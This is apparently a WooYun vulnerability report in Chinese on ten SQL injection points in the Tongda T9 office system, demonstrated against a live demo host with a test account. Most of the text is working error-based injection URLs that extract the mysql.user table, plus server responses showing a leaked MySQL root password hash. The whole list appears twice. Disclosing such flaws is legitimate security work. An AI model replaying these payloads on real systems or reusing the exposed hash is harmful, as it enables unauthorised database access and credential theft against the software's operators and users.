通达T9系统sql注射10处打包(demo站点root权限)

### 简要描述： T9智能管理平台是基于B/S架构，灵活、稳定、安全、高性能的办公系统。采用自主研发的引擎技术，提供强大的工作流和公文流程管理功能，可完全根据客户需求定制办公门户平台。 ### 详细说明： 接 [WooYun: 通达T9 oa系统sql注射12处打包(demo站点root权限)](http://www.wooyun.org/bugs/wooyun-2014-082959) 测试地址 http://t9.go2oa.com/t9/core/frame/webos/index.jsp 测试帐号及密码 oa/无 注入1：http://t9.go2oa.com/t9/core/funcs/doc/flowrun/list/print/index.jsp?runId=78&flowId=572 获取数据库账户名和密码: http://t9.go2oa.com/t9/core/funcs/doc/flowrun/list/print/index.jsp?runId=78&flowId=572%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(host,user,password)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 注入结果:ception: com.mysql.jdbc.exceptions.jdbc4.MySQLIntegrityConstraintViolationException: Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1 注入2: http://t9.go2oa.com/t9/core/funcs/doc/flowrun/list/index1.jsp?type=1&sortId=183',&skin=&flowId= 报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '') order by a.RUN_ID DESC,a.PRCS_TIME DESC' at line 1 注入3: http://t9.go2oa.com/t9/t9/project/system/act/T9ProjSystemAct/getStyleList.act?classNo=PROJ_TYPE'%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(host,user,password)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 注入结果: {"rtState":"1", "rtMsrg":"Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""} 注入4: http://t9.go2oa.com/t9/t9/project/system/act/T9ProjSystemAct/getNewPriv.act?privCode=NOAPPROVE'%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(host,user,password)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 结果: {"rtState":"1", "rtMsrg":"Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""} 注入5: http://t9.go2oa.com/t9/t9/project/system/act/T9ProjSystemAct/getApproveList.act?privCode=APPROVE' 注入6: http://t9.go2oa.com/t9/t9/project/system/act/T9ProjSystemAct/getStyleList.act?classNo=PROJ_TYPE' 注入7: http://t9.go2oa.com/t9/t9/core/funcs/workflow/act/T9WorkQueryAct/getFlowList.act?sortId=1' 注入8： http://t9.go2oa.com/t9/t9/core/funcs/doc/act/T9MyWorkAct/hasWork.act?sortId=184',&flowId= 注入9: http://t9.go2oa.com/t9/t9/core/codeclass/act/T9CodeClassAct/deleteCodeItem.act?sqlId=1335%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(host,user,password)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 结果: {"rtState":"1", "rtMsrg":"Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""} 注入10: http://t9.go2oa.com/t9/t9/core/funcs/email/act/T9InnerEMailAct/deletM.act?bodyId=3)%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(host,user,password)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23&deType=4 结果: {"rtState":"1", "rtMsrg":"邮件删除失败！可能原因：Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""} ### 漏洞证明： 注入1：http://t9.go2oa.com/t9/core/funcs/doc/flowrun/list/print/index.jsp?runId=78&flowId=572 获取数据库账户名和密码: http://t9.go2oa.com/t9/core/funcs/doc/flowrun/list/print/index.jsp?runId=78&flowId=572%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(host,user,password)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 注入结果:ception: com.mysql.jdbc.exceptions.jdbc4.MySQLIntegrityConstraintViolationException: Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1 注入2: http://t9.go2oa.com/t9/core/funcs/doc/flowrun/list/index1.jsp?type=1&sortId=183',&skin=&flowId= 报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '') order by a.RUN_ID DESC,a.PRCS_TIME DESC' at line 1 注入3: http://t9.go2oa.com/t9/t9/project/system/act/T9ProjSystemAct/getStyleList.act?classNo=PROJ_TYPE'%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(host,user,password)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 注入结果: {"rtState":"1", "rtMsrg":"Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""} 注入4: http://t9.go2oa.com/t9/t9/project/system/act/T9ProjSystemAct/getNewPriv.act?privCode=NOAPPROVE'%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(host,user,password)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 结果: {"rtState":"1", "rtMsrg":"Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""} 注入5: http://t9.go2oa.com/t9/t9/project/system/act/T9ProjSystemAct/getApproveList.act?privCode=APPROVE' 注入6: http://t9.go2oa.com/t9/t9/project/system/act/T9ProjSystemAct/getStyleList.act?classNo=PROJ_TYPE' 注入7: http://t9.go2oa.com/t9/t9/core/funcs/workflow/act/T9WorkQueryAct/getFlowList.act?sortId=1' 注入8： http://t9.go2oa.com/t9/t9/core/funcs/doc/act/T9MyWorkAct/hasWork.act?sortId=184',&flowId= 注入9: http://t9.go2oa.com/t9/t9/core/codeclass/act/T9CodeClassAct/deleteCodeItem.act?sqlId=1335%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(host,user,password)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 结果: {"rtState":"1", "rtMsrg":"Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""} 注入10: http://t9.go2oa.com/t9/t9/core/funcs/email/act/T9InnerEMailAct/deletM.act?bodyId=3)%20and%20(select%201%20from%20(select%20count(*),concat((select%20concat(host,user,password)%20from%20mysql.user%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23&deType=4 结果: {"rtState":"1", "rtMsrg":"邮件删除失败！可能原因：Duplicate entry 'localhostroot*91AF99F23C3D4ED85140D100433725DFA52BECEE1' for key 1", "rtData":""}